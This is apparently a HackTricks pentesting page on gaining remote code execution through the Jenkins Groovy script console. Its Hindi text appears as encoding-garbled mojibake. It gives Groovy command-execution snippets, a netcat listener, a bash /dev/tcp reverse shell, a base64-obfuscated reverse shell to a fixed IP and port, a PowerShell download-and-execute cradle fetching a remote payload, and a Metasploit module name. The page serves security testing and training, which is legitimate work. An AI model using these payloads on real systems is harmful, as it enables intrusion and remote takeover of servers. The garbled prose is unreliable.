Jenkins RCE with Groovy Script

рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ рдФрд░ рд▓рд╛рдн рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ!
  • рдпрджрд┐ рдЖрдк рдЕрдкрдиреА рдХрдВрдкрдиреА рдХреЛ рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдореЗрдВ рд╡рд┐рдЬреНрдЮрд╛рдкрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдпрд╛ рдпрджрд┐ рдЖрдк PEASS рдХреЗ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рджреЗрдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдпрд╛ HackTricks рдХреЛ PDF рдореЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдВ рджреЗрдЦреЗрдВ!

  • The PEASS Family рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ, рд╣рдорд╛рд░рд╛ рдПрдХрд▓ NFTs рд╕рдВрдЧреНрд░рд╣

  • ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ рдореБрдЭреЗ рдЯреНрд╡рд┐рдЯрд░ ЁЯРж @carlospolopm рдХрд╛** рдЕрдиреБрд╕рд░рдг рдХрд░реЗрдВред**

  • рдЕрдкрдиреЗ рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рдХреЛ HackTricks рдФрд░ HackTricks Cloud github repos рдореЗрдВ PR рдЬрдорд╛ рдХрд░рдХреЗ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВред

Jenkins рдореЗрдВ Groovy рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде RCE

рдпрд╣ Jenkins рдореЗрдВ рдПрдХ рдирдП рдкрд░рд┐рдпреЛрдЬрдирд╛ рдмрдирд╛рдиреЗ рд╕реЗ рдХрдо рд╢реЛрд░рдЧреБрд▓ рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ

  1. path_jenkins/script рдкрд░ рдЬрд╛рдПрдВ

  2. рдкрд╛рда рдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджрд░реНрдЬ рдХрд░реЗрдВ

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

рдЖрдк cmd.exe /c dir рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд▓рд┐рдирдХреНрд╕ рдореЗрдВ рдЖрдк рдпрд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: "ls /".execute().text

рдпрджрд┐ рдЖрдкрдХреЛ рдкрд╛рда рдореЗрдВ рдЙрджреНрдзрд░рдг рдФрд░ рдПрдХрд▓ рдЙрджреНрдзрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛ, рддреЛ рдЖрдк """PAYLOAD""" (рддрд┐рд╣рд░реА рдбрдмрд▓ рдХреЛрдЯ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреЗрд▓реЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдПрдХ рдФрд░ рдЙрдкрдпреЛрдЧреА рдЧреНрд░реВрд╡реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ (рдЗрд╕реЗ рдмрджрд▓реЗрдВ [рдЗрдВрд╕рд░реНрдЯ рдХрдорд╛рдВрдб]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

рд▓рд┐рдирдХреНрд╕ рдореЗрдВ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓

рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдПрдХ рд╣реИрдХрд░ рдХреЛ рдПрдХ рджреВрд╕рд░реЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рджреВрд░рд╕реНрде рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рддрдХрдиреАрдХ рд▓рд┐рдирдХреНрд╕ рдкрд░ рднреА рдХрд╛рдо рдХрд░рддреА рд╣реИред рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдо рдПрдХ рджреВрд╕рд░реЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рд╢реЗрд▓ рд╕рддреНрд░ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рджреВрд╕рд░реЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдПрдХ рд▓рд┐рд╕рдирд░ рд╢реЗрд▓ рд╕рддреНрд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреЛрд░реНрдЯ рдкрд░ рд╕реБрдирдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж рд╣рдо рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЙрд╕ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЪрд▓рд╛рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдмрд╛рдж рд╣рдо рдЙрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдХрдорд╛рдВрдбреНрд╕ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣рд╛рдВ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓рд┐рдирдХреНрд╕ рдкрд░ рджреВрд╕рд░реЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ:

nc -lvp <port> # рд▓рд┐рд╕рдирд░ рд╢реЗрд▓ рд╕рддреНрд░ рдЪрд▓рд╛рдПрдВ

рдФрд░ рдлрд┐рд░ рджреВрд╕рд░реЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЪрд▓рд╛рдПрдВ:

bash -i >& /dev/tcp/<listener_ip>/<port> 0>&1 # рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдВ

рдЗрд╕рдХреЗ рдмрд╛рдж, рдЬрдм рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЪрд▓реЗрдЧрд╛, рддреЛ рдЖрдк рджреВрд╕рд░реЗ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдФрд░ рдЙрд╕рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдХрдорд╛рдВрдбреНрд╕ рдЪрд▓рд╛ рд╕рдХреЗрдВрдЧреЗред

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

рд╡рд┐рдВрдбреЛрдЬ рдореЗрдВ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓

рдЖрдк рдПрдХ PS рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЗ рд╕рд╛рде рдПрдХ HTTP рд╕рд░реНрд╡рд░ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЗрдВрдХрд┐рдВрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

рд╕реНрдХреНрд░рд┐рдкреНрдЯ

рдЖрдк рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдк MSF рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

msf> use exploit/multi/http/jenkins_script_console
рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ рдФрд░ рд▓рд╛рдн рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ!

Last updated